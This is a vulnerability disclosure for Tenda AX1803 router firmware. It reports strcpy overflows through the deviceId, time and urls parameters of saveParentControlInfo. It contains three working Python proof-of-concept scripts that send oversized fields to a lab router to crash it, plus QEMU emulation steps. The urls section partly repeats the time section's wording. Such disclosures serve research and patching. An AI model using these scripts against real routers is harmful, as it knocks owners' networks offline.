Vulnerability introduction

Tenda AX1803 firmware version v1.0.0.1 has a stack overflow vulnerability because it uses the strcpy function by mistake in the deviceId、time parameter of the saveParentControlInfo function which can cause a Denial of Service (DoS) attck.
Firmware download address:https://down.tenda.com.cn/uploadfile/AX1803/AX1803V2.0_V1.0.0.1_cn.zip

Vulnerability analysis

deviceId parameter in the function saveParentControlInfo

In the binary file /bin/tdhttpd, we use IDA to locate the function saveParentControlInfo that causes the vulnerability.
ac65a925560ae6f89b8396e2b22321e7.png
As you can see, the strcpy function is called on line 28 of the saveParentControlInfo function. Let’s trace the source of the two parameters of the strcpy function.
{CB495C49-5006-4583-B2B2-E17DB4DCDDBF}.png
{3136D0D6-5C5D-4d2a-81A8-673D5E9F5CB2}.png
We found that parameter v2 was generated when the sub_295C8 function processed the deviceId parameter, and v5 was malloced on the heap.
As we all know, strcpy does not check the length of the parameter. If the deviceId is assigned a long string such as b”a”*0x400, it will cause a heap overflow in saveParentControlInfo, causing the entire program to crash and achieve the effect of a denial of service attack (Dos)
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

def deviceId():
data = {
b"deviceId":b"A"*0x400,
b"deviceName": b'a',
b"time": b'a',
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a',
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)


deviceId()

{A9CA1FE7-AD18-4ba3-85E9-880DB14FAEA5}.png

time parameter in the function saveParentControlInfo

In line 34 of the saveParentControlInfo function, the sub_60CFC function is called, and this function calls sub_295C8 to obtain the time field.
{F65B50B7-A58B-4053-949D-A6001DDFDA18}.png
{C3812CC0-0EED-4bc4-8558-A82A9060D94F}.png
However, after obtaining the time parameter, the obtained time is simply assigned to v4, and strcpy is directly called to pass it to the variable (a2+34) on the stack, without any verification in the middle. it will cause a stack overflow We assign the time field to b’a’*0x400 as before,which caused the program to crash.
{0ED30254-8735-4082-A6A1-91028A54E1E9}.png
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

def time():
data = {
b"deviceId":b"A",
b"deviceName": b'a',
b"time": b'a'*0x400,
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a',
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)


time()

{FA71CB73-797D-4e18-9C02-D61CB73CED3E}.png

urls parameter in the function saveParentControlInfo

In line 34 of the saveParentControlInfo function, the sub_60CFC function is called, and this function calls sub_295C8 to obtain the time field.
{F65B50B7-A58B-4053-949D-A6001DDFDA18}.png
{9D83EDA1-1C23-43c7-A82A-5B1F6245541D}.png
{DEABB704-9AF8-4247-9517-586280DB2391}.png
Like the previous deviceId field, the program simply took out the urls without checking the length. Therefore, when the program passed time to (a2 + 80) through strcpy, a heap overflow occurred.
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

def urls():
data = {
b"deviceId":b"A",
b"deviceName": b'a',
b"time": b'a',
b"enable":b'1',
b'url_enable':b'1',
b'urls':b'a'*0x400,
b'day':b'1',
b'block':b'0',
b'limit_type':b'1'
}
res = requests.post("http://192.168.44.128/goform/saveParentControlInfo", data=data)
print(res.content)


urls()

{DA175399-5887-47e6-915C-BAB19FCC27F9}.png

environment

Create a new net bridge

1
2
3
4
5
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0

Install libc for arm environment and copy qemu-arm-static to the firmware root folder

1
2
3
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/tdhttpd

use
sudo qemu-arm-static -L ../bin/tdhttpd
to simulates running firmware
{B6E97FB6-48D2-4ead-9176-2313A7D170D2}.png
Now we can access http://192.168.44.128/main.html to enter the virtual router for testing